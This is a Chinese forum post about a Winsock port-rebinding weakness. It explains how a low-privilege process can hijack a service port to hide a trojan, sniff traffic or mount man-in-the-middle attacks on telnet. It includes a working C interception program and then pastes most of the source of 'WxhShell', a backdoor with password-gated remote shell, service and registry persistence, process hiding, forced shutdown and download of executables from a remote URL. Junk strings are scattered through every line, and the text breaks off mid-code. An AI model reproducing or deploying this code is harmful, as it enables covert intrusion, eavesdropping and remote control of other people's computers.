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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dr^MW?{a\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p"d_+  
e1Bqd+  
  saddr.sin_family = AF_INET; qTI_'q  
|)+45e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Fr)6<9%xVm  
^|ul3_'?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W #V`|JA  
CM4#Nn=i~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )W |_f  
CMC9%uq  
  这意味着什么?意味着可以进行如下的攻击: $mcq/W   
_E8doV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g-DFcwO,V  
 [1g   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2}U:6w  
UX@8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FC#t}4as  
sPRo=LB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e7M6|6nb  
F`M`c%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 = PIarUJ  
}$@E pM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A}G>JL  
npMPjknl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U~O*9  
A O3MlK9t  
  #include 36\_Y?zx%  
  #include QS%t:,0lp  
  #include z@U5  
  #include    UNyk, #4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8]&\FA8  
  int main() _ pO1XM  
  { CSlPrx2\  
  WORD wVersionRequested; |Pq z0n=v  
  DWORD ret; ]:svR@E  
  WSADATA wsaData; g]jCR*]  
  BOOL val; j W/*-:  
  SOCKADDR_IN saddr; ->`R[k  
  SOCKADDR_IN scaddr; ];*? `}#  
  int err; W4$F\y  
  SOCKET s; %6E:SI 4  
  SOCKET sc; gp NAM"  
  int caddsize; iHlee=}od  
  HANDLE mt; {\55\e/C,  
  DWORD tid;   %nhE588xf  
  wVersionRequested = MAKEWORD( 2, 2 ); <F ?UdMT4y  
  err = WSAStartup( wVersionRequested, &wsaData ); Jp-6]uW  
  if ( err != 0 ) { dyVfDF  
  printf("error!WSAStartup failed!\n"); ?b xa k  
  return -1; >;+q,U}  
  } ] D+'Ao^'  
  saddr.sin_family = AF_INET; A 1B_EX.  
   !xE@r,'oN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `c?8i  
5Y r$tl\k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bFsJqA.A  
  saddr.sin_port = htons(23); }xpo@(e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ti$_V_  
  { |vgYi  
  printf("error!socket failed!\n"); Zb$P`~(%  
  return -1; `!y/$7p  
  } f[-$##S.~  
  val = TRUE; 2q ~y\fe  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V11 XI<V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Eg4_kp0Lq  
  { wW|[Im&  
  printf("error!setsockopt failed!\n"); ZiC~8p_f  
  return -1; 2<tU  
  } cBQ+`DXn5c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \-CL}Z}S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .x][ _I>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l09DH+  
i/RA/q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Xp0S  
  { Lc_cB`  
  ret=GetLastError(); );d"gv(]D  
  printf("error!bind failed!\n"); 4rUOk"li  
  return -1; ,P^4??' o  
  } r>g5_"FL  
  listen(s,2); e@{Rlz   
  while(1) Y?\PU{ O  
  { Un Ocw  
  caddsize = sizeof(scaddr); K[l5=)G0L  
  //接受连接请求 3M5wF6nY[[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  I}u&iV`  
  if(sc!=INVALID_SOCKET) qkBCI,X_Y  
  { GuKiNYI_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U &RZx&W  
  if(mt==NULL) J }|6m9k!  
  { i=jY l  
  printf("Thread Creat Failed!\n"); @.} @K  
  break; m.Ki4NUm  
  } $y,tR.5.)[  
  } Zw_'u=r >  
  CloseHandle(mt); a([8r- zP  
  } U\i7'9w]3  
  closesocket(s); 70.Tm#qh  
  WSACleanup(); lH/7m;M  
  return 0; |jb,sd[=S  
  }   ,M=s3D8C  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^wz 2e  
  { 2k!4oVUN  
  SOCKET ss = (SOCKET)lpParam; *+_+Z DU  
  SOCKET sc; C sCH :>  
  unsigned char buf[4096]; mb*|$ysPx  
  SOCKADDR_IN saddr; uMX\Y;N  
  long num; 7' Gk ip  
  DWORD val; Y{9xF8#  
  DWORD ret; w#{S=^`}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 iC~ll!FA!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }ZJJqJ`*e  
  saddr.sin_family = AF_INET; 3f(tb%pa5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /i(R~7;?  
  saddr.sin_port = htons(23); ##nC@h@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yaYJmhG  
  { xc,Wm/[  
  printf("error!socket failed!\n"); 75;g|+  
  return -1; qK]Om6 a~  
  } W~/{ct$Y  
  val = 100; z@v2t>@3k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  VM<$!Aaz  
  { qO[_8's8  
  ret = GetLastError(); vGwpDu\RgX  
  return -1; +P<#6<gR  
  } 8~AL+*hn  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z/wwe\ a5  
  { 3L9@ELY4  
  ret = GetLastError(); /6:qmh2  
  return -1; :D~J(Y2  
  } @.L/HXu-P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) UmG|_7  
  { '<xV]k|v  
  printf("error!socket connect failed!\n"); %H4>k#b@$  
  closesocket(sc); R p0^Gwa  
  closesocket(ss); C(kL=WD   
  return -1; EkoT U#w5  
  } ?X$*8;==6  
  while(1) [F 24xC+  
  { g0#w 4rGF)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i?f;C_w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !V-(K_\t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >Q:h0b_$U  
  num = recv(ss,buf,4096,0); K9ek  
  if(num>0) @a,} k<@E  
  send(sc,buf,num,0); 1NkJs&  
  else if(num==0) [DvQk?,t  
  break; o8~<t]Ejw  
  num = recv(sc,buf,4096,0); $E}N`B7  
  if(num>0) \LM.>vJ  
  send(ss,buf,num,0); >L433qR  
  else if(num==0) ~.CmiG.7  
  break; k|^`0~E  
  } 5]K2to)>`  
  closesocket(ss); !\!j?z=O8  
  closesocket(sc); hGRHuJ  
  return 0 ; Fz' s\  
  } cp6I]#X  
\- 8aTF  
(wf3HEb_  
========================================================== j<)`|?@e(  
~-#Jcw$+n=  
下边附上一个代码,,WXhSHELL 9-!GYa'Z  
ZE9.r`  
========================================================== yB|1?L#  
-t: U4r(  
#include "stdafx.h" "[0.a\ d<  
C8D`:k  
#include <stdio.h> SGu`vN]  
#include <string.h> 6zI}?KZf  
#include <windows.h> Y|buQQ|  
#include <winsock2.h> A=wG};%_  
#include <winsvc.h> )r?- _qj=  
#include <urlmon.h> k; >Vh'=X  
D 4sp+   
#pragma comment (lib, "Ws2_32.lib") <6+T&Ov6  
#pragma comment (lib, "urlmon.lib") QOY{j  
~_ u3_d.  
#define MAX_USER   100 // 最大客户端连接数 `1uGU[{x  
#define BUF_SOCK   200 // sock buffer k"6&&  
#define KEY_BUFF   255 // 输入 buffer Pbt7T Q  
IyAD>Q^  
#define REBOOT     0   // 重启 A9MTAm{  
#define SHUTDOWN   1   // 关机 :*s@L2D6  
J~C=o(r  
#define DEF_PORT   5000 // 监听端口 U$ ;UW3-  
'mZQ}U=<  
#define REG_LEN     16   // 注册表键长度 )iFXa<5h  
#define SVC_LEN     80   // NT服务名长度 O=6[/oc '  
rU6A^p\,  
// 从dll定义API FIUQQQ\3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); / }*}r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u:^sEk"Lk'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x"r,l/gzy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =}YX I  
wNU;gz  
// wxhshell配置信息 j4u ["O3  
struct WSCFG { M3r;Pdj2r  
  int ws_port;         // 监听端口 VOIni<9y  
  char ws_passstr[REG_LEN]; // 口令 eD7qc1*G  
  int ws_autoins;       // 安装标记, 1=yes 0=no MGY0^6yK5  
  char ws_regname[REG_LEN]; // 注册表键名 i!gS]?*DH  
  char ws_svcname[REG_LEN]; // 服务名 5vJxhBm/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u60RuP&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F@mxd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L|B! ]}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '.C#"nY>1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U uC-R)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vmh>|N4a7  
3gnO)"$  
}; &x;n^W;#  
>P]gjYN  
// default Wxhshell configuration cICf V,j  
struct WSCFG wscfg={DEF_PORT, <@Vf:`a!P>  
    "xuhuanlingzhe", J4@-?xj=\q  
    1, E^$8nqCL:  
    "Wxhshell", =- ,'LOE  
    "Wxhshell", EWQLLH"h  
            "WxhShell Service", Y[H769  
    "Wrsky Windows CmdShell Service", (][-()YV  
    "Please Input Your Password: ", x=+>J$~Pb  
  1, xP/q[7>#Q  
  "http://www.wrsky.com/wxhshell.exe", g@T}h[  
  "Wxhshell.exe" v\_\bT1  
    }; Sp*4Z`^je  
q;UGiB^(A  
// 消息定义模块 yDWBrN._  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \BN$WV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; { {:Fs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %ZX9YuXQ  
char *msg_ws_ext="\n\rExit."; EiG5k.C@  
char *msg_ws_end="\n\rQuit."; a=`] L`|N  
char *msg_ws_boot="\n\rReboot..."; FBbaLqgVF{  
char *msg_ws_poff="\n\rShutdown..."; ~Z!YB,)bp  
char *msg_ws_down="\n\rSave to "; n$v4$_qS  
noM=8C&U  
char *msg_ws_err="\n\rErr!"; 1vxQ`)a  
char *msg_ws_ok="\n\rOK!"; [YZgQ  
!0vLSF=  
char ExeFile[MAX_PATH]; %V+"i_{m  
int nUser = 0; :HwdXhA6  
HANDLE handles[MAX_USER]; ;<_a ,5\Q  
int OsIsNt; P$Oj3HD LM  
-/V(Z+dj  
SERVICE_STATUS       serviceStatus; A=IpP}7J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F-oe49p5e  
>\w]i*%  
// 函数声明 *ra>Kl0   
int Install(void); vbd)L$$20+  
int Uninstall(void); LrT EF j  
int DownloadFile(char *sURL, SOCKET wsh); \P")Eh =d  
int Boot(int flag); V)l:fUm2  
void HideProc(void); [`s0 L#  
int GetOsVer(void); j--byk6PB  
int Wxhshell(SOCKET wsl); a(=lQ(v/?  
void TalkWithClient(void *cs); 841y"@*BY  
int CmdShell(SOCKET sock); - jCj_@n  
int StartFromService(void); e([>sAx!1  
int StartWxhshell(LPSTR lpCmdLine); B\e*-:pq>  
9[;da  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }WaZ+Mdg\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9t6c*|60#n  
9x|`XAB  
// 数据结构和表定义 YB<nz<;JR  
SERVICE_TABLE_ENTRY DispatchTable[] = EwkSUA>Tm  
{ ^+v1[U@  
{wscfg.ws_svcname, NTServiceMain}, g(;OUkj$Zp  
{NULL, NULL} :8hI3]9  
}; Rb.vyQ  
}z$_!)/i  
// 自我安装 dR;N3KwY  
int Install(void) 4d cm)Xr  
{ E}v8Q~A(  
  char svExeFile[MAX_PATH]; ! |UX4  
  HKEY key; X^K^az&L  
  strcpy(svExeFile,ExeFile); {-8Nq`w  
'Grii,  
// 如果是win9x系统,修改注册表设为自启动 goA=U  
if(!OsIsNt) { elQjPvb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z\xnPhV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yCav;ZS_  
  RegCloseKey(key); `lWGwFgg(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J"LLj*,0"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sk/@w[  
  RegCloseKey(key); tx~,7TMS/  
  return 0; ~!qnKM>[  
    } NjpWK ;L  
  } u[Kz^ga<  
} vdC0tax  
else { r)>3YM5  
B^r?N-Z A  
// 如果是NT以上系统,安装为系统服务 =gD)j&~}_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X%j`rQk`  
if (schSCManager!=0) yF? O+9R A  
{ "a(4])  
  SC_HANDLE schService = CreateService !Q15qvRS  
  ( *DC/O( 0  
  schSCManager, 1n[)({OQ  
  wscfg.ws_svcname, 8.n#@%  
  wscfg.ws_svcdisp, vxTn  
  SERVICE_ALL_ACCESS, _:=\h5}8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z!O;s ep?/  
  SERVICE_AUTO_START, 6V%}2YE?X  
  SERVICE_ERROR_NORMAL, rKUtTj  
  svExeFile, 0NGth(2  
  NULL, z k/`Uz  
  NULL, 6QCV i  
  NULL, W"\}##  
  NULL, J8p;1-C"  
  NULL n]`]gLF\i  
  ); ndzADVP  
  if (schService!=0) a1y<Y`SC9  
  { Um{) ?1  
  CloseServiceHandle(schService); 3qf#NJN}  
  CloseServiceHandle(schSCManager); xc 1d[dCdp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _<#92v !F  
  strcat(svExeFile,wscfg.ws_svcname); q+9->D(6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BVNJas  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v_EgY2l(  
  RegCloseKey(key); ~`FRU/@r  
  return 0; 8wvHg_U6W  
    } {)lZfj}l  
  } M,@M5o2u  
  CloseServiceHandle(schSCManager); ch]Qz[d  
} T`":Q1n  
} j8p<HE51  
k>mXh{ (  
return 1; =VzJ>!0  
} ?Y3i-jY  
Zf3(! a[  
// 自我卸载 Ig}hap]G  
int Uninstall(void) G\dPGPPM  
{ i/+^C($'f  
  HKEY key; g;'S5w9S  
H=C~h\me?  
if(!OsIsNt) { # o/;du  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .1RQ}Ro,<  
  RegDeleteValue(key,wscfg.ws_regname); <ef O+X!  
  RegCloseKey(key); *6` ^8Y\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T&dNjx  
  RegDeleteValue(key,wscfg.ws_regname); H\oxj,+N  
  RegCloseKey(key); o #\L4P(J  
  return 0; ~*/ >8R(Y  
  } +_J@8k  
} F_'{:v1GW  
} UX63BA  
else { fc@<'-VA  
XjN =UhC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2=fM\G  
if (schSCManager!=0) QOktIH  
{ En9J7es_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X-(( [A  
  if (schService!=0) k- 9i  
  { :XFQ}Cl  
  if(DeleteService(schService)!=0) { Hq 5#.rZ#  
  CloseServiceHandle(schService); ejZ-A?f-K  
  CloseServiceHandle(schSCManager); y,`n9[$K\  
  return 0; >~Zj  
  } X}(X\rp  
  CloseServiceHandle(schService); [-VH%OM  
  } l+F29_o#  
  CloseServiceHandle(schSCManager); yZ,pH1  
} _ikKOU^8  
} V'=;M[&  
x)dLY.'|  
return 1; !AE;s}v)0{  
} Yc]k<tQ  
4)tY6ds)r|  
// 从指定url下载文件 Jw}t~m3  
int DownloadFile(char *sURL, SOCKET wsh) [;,E cw^  
{ S1^/W-yoc~  
  HRESULT hr; r+ 8Tp|%  
char seps[]= "/"; Db|JR  
char *token;  VQH48{X  
char *file; [k\VUg:P  
char myURL[MAX_PATH]; /!5ohQlPJ  
char myFILE[MAX_PATH]; VVch%  
BedL `[ ,  
strcpy(myURL,sURL); WLXt@dK*u  
  token=strtok(myURL,seps); XLpn3sX$  
  while(token!=NULL) siCi+Y  
  { *uRDB9#9,  
    file=token; E*5aLT5!,  
  token=strtok(NULL,seps); * cW%Q@lit  
  } 2QbKh)   
"r@#3T$  
GetCurrentDirectory(MAX_PATH,myFILE); 5}hQIO&^%  
strcat(myFILE, "\\"); A+M4=  
strcat(myFILE, file); /} PdO  
  send(wsh,myFILE,strlen(myFILE),0); J[6/dM  
send(wsh,"...",3,0); elGBX h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `PtB2,?  
  if(hr==S_OK) rhPv{6Z|7  
return 0; & n@hD7=(  
else .jqil0#)Y"  
return 1; ]I,&Bme  
/r'Fq =z  
} >$rH,Er  
c!6v-2ykv  
// 系统电源模块 ]l fufjj  
int Boot(int flag) H if| z[0$  
{ (Ud"+a  
  HANDLE hToken; PU.j(0  
  TOKEN_PRIVILEGES tkp; A]0R?N9wb_  
H4 O"^#5  
  if(OsIsNt) { jbS@6 * _  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h/\ Zq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <Rw2F?S~)n  
    tkp.PrivilegeCount = 1; kYkA^Aq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +1c r6a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GOdWc9Ta!  
if(flag==REBOOT) { 2(GY k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yxu7YGp%  
  return 0; |khFQ(  
} h='&^1  
else { 9'H:pb2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XkqsL0\  
  return 0; "6%{#TZ  
} wS|k3^OV%  
  } N~v<8vJq`  
  else { l^bak]9 1  
if(flag==REBOOT) { vqT) =ZC1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'j'6x'[> ]  
  return 0; THOYx :Nr;  
} uaP5(hUI  
else { nX7F<k4G2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z:h'kgG&  
  return 0; Mj>Q V(L8t  
} e/ g9r  
} 6bj77CoB  
qmn l  
return 1; 8SroA$^n  
} "kcix!}&  
$ZyOBxI  
// win9x进程隐藏模块 ]Gm4gd`  
void HideProc(void) <^> nR3E  
{ ~u0<c:C^  
l=P)$O|=w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VSUWX1k4%  
  if ( hKernel != NULL ) gAEB  
  { w$&;s<0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .u&X:jOE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =[aiW|Y  
    FreeLibrary(hKernel); A?n5;mvq#  
  } y]R+/  
PyI"B96gz  
return; e9'0CH<  
} DQu)?Rsk  
s^PsA9EAn  
// 获取操作系统版本 x76;wQ  
int GetOsVer(void) tIV9Y=ckr0  
{ R!"`Po  
  OSVERSIONINFO winfo; I+Yq",{%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c]k+ Sx&}  
  GetVersionEx(&winfo); HI:1Voy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mDA+ .l&)b  
  return 1; 45-x$o  
  else W +GBSl  
  return 0; =`(W^&|  
} P(b~3NB)  
$rQ7"w J  
// 客户端句柄模块 ;=P!fvHk  
int Wxhshell(SOCKET wsl) D{d%*hlI 3  
{ t&JOASYC  
  SOCKET wsh; d7X7_  
  struct sockaddr_in client; mg._c  
  DWORD myID; QaE!?R  
(8ct'Q;  
  while(nUser<MAX_USER) PVxu8n  
{ LrdED[Z  
  int nSize=sizeof(client); @6!Myez'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ryz NM3  
  if(wsh==INVALID_SOCKET) return 1; |DsT $ ~D  
Dh}d-m_5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  Uv<nJM  
if(handles[nUser]==0) _@)-#7  
  closesocket(wsh); b O}&i3.L;  
else k]-Q3 V  
  nUser++; ;c|_z 9+  
  } (ruMOKW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ke#Rkt  
C %j%>X`  
  return 0; g 6?y{(1  
} W%&s$b(  
?%ltoezf  
// 关闭 socket -+2A@kmEJ  
void CloseIt(SOCKET wsh) b!J?>du  
{ i& \ >/ 1  
closesocket(wsh); inq {" 6  
nUser--; B )\;Ja  
ExitThread(0); qTWQ!  
} Ur1kb{i  
}{PG^Fc<P  
// 客户端请求句柄 T#Bj5H  
void TalkWithClient(void *cs) G"L`9E<0V  
{ 3,hu3"@k  
]M"U 'Z  
  SOCKET wsh=(SOCKET)cs; f*xv#G  
  char pwd[SVC_LEN]; KT(v'KE 1  
  char cmd[KEY_BUFF]; w4Hq|N1-Y  
char chr[1]; C*RPSk  
int i,j; )Xt#coagS  
N3KI6p6\  
  while (nUser < MAX_USER) { hhU\$'0B-  
%ib7)8Ki0  
if(wscfg.ws_passstr) { z wwJyy%/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nu|,wE!i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f4 +P2j  
  //ZeroMemory(pwd,KEY_BUFF); XXwo(trs~=  
      i=0; g&. OJ  
  while(i<SVC_LEN) { NTCFmdbs 6  
TZg1,Z  
  // 设置超时 t1yfSStp  
  fd_set FdRead; >@a7Zzl0H  
  struct timeval TimeOut; 77+3CME{'  
  FD_ZERO(&FdRead); @x[A ^  
  FD_SET(wsh,&FdRead); k %sxA  
  TimeOut.tv_sec=8; Y>8JHoV  
  TimeOut.tv_usec=0; TB<$9FCHK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {7$jwk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |,H 2ge  
'4M;;sKW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WD kE 5  
  pwd=chr[0]; i>-#QKqJ  
  if(chr[0]==0xd || chr[0]==0xa) { &b%2Jx[+  
  pwd=0; #tw_`yh  
  break; bl10kI:F  
  } 8aM\B%NGWi  
  i++; p*1 B *R  
    } rAqS;@]0  
XW2ZQMos1  
  // 如果是非法用户,关闭 socket Bk5 ELf8pL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W|sU[dxZ  
} 1BP/,d |+  
S$40nM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7dE.\#6r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ![I|hB  
Dwr"-  
while(1) { OP=-fX|*Q  
f+)LVT8p  
  ZeroMemory(cmd,KEY_BUFF); nq+6ipx  
=E(ed,gH8  
      // 自动支持客户端 telnet标准   SY@;u<Pd   
  j=0; jlqSw4_  
  while(j<KEY_BUFF) { MIiBNNURX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'X4)2iFV  
  cmd[j]=chr[0]; Oi@|4mo  
  if(chr[0]==0xa || chr[0]==0xd) { xBf->o S?  
  cmd[j]=0; U1 rr=h g  
  break; Qs#;sy W@~  
  } )>"Ky  
  j++; s bR*[2  
    } .SSyW{a3w  
:>H{?  
  // 下载文件 +n%8*F&  
  if(strstr(cmd,"http://")) { sK/ymEfRv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FGm!|iI  
  if(DownloadFile(cmd,wsh)) UV{})T*s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hOFvM&$  
  else >r}?v3QW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .*W7Z8!e  
  } >@-. rkd(  
  else { J!3;\  
hl)jE 06  
    switch(cmd[0]) { uc]5p(9Hb  
  _[l&{,  
  // 帮助 Z>X]'q03  
  case '?': { uz20pun4B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z_A\\  
    break; v:9'k~4)  
  } LN5q_ZvR  
  // 安装 ,K30.E  
  case 'i': { OJM2t`}_t  
    if(Install()) 9q[[ ,R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B| M@o^Tf  
    else \CS4aIp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j+gh*\:q  
    break; S+^hK1jL  
    } X%B$*y5  
  // 卸载 e5; YY  
  case 'r': { +br' 2Pn  
    if(Uninstall()) FlrYXau  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #e@[{s7  
    else 5'w&M{{9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i3$G)W  
    break; +t Prqv"(  
    } vD/l`Ib:  
  // 显示 wxhshell 所在路径 c]$$ap  
  case 'p': { 'L{pS-+6  
    char svExeFile[MAX_PATH]; Ri::Ek3qu  
    strcpy(svExeFile,"\n\r"); wM-H5\9n  
      strcat(svExeFile,ExeFile); ?zVE7;r4U  
        send(wsh,svExeFile,strlen(svExeFile),0); D)S_ p&  
    break; ;/IX w>O(/  
    } _t4(H))]vG  
  // 重启 5 5Mtjqfp  
  case 'b': { o>&pj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z  fy(j  
    if(Boot(REBOOT)) 9d=\BBNZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G_ ~qk/7mF  
    else { E4.A$/s8[  
    closesocket(wsh); pY%KI  
    ExitThread(0); 4V mUTMY  
    } zx+}>(U\U  
    break; ^ 6Yt2Bhs  
    } m<*+^JN  
  // 关机 !#e+!h@  
  case 'd': { R 4DfqX  
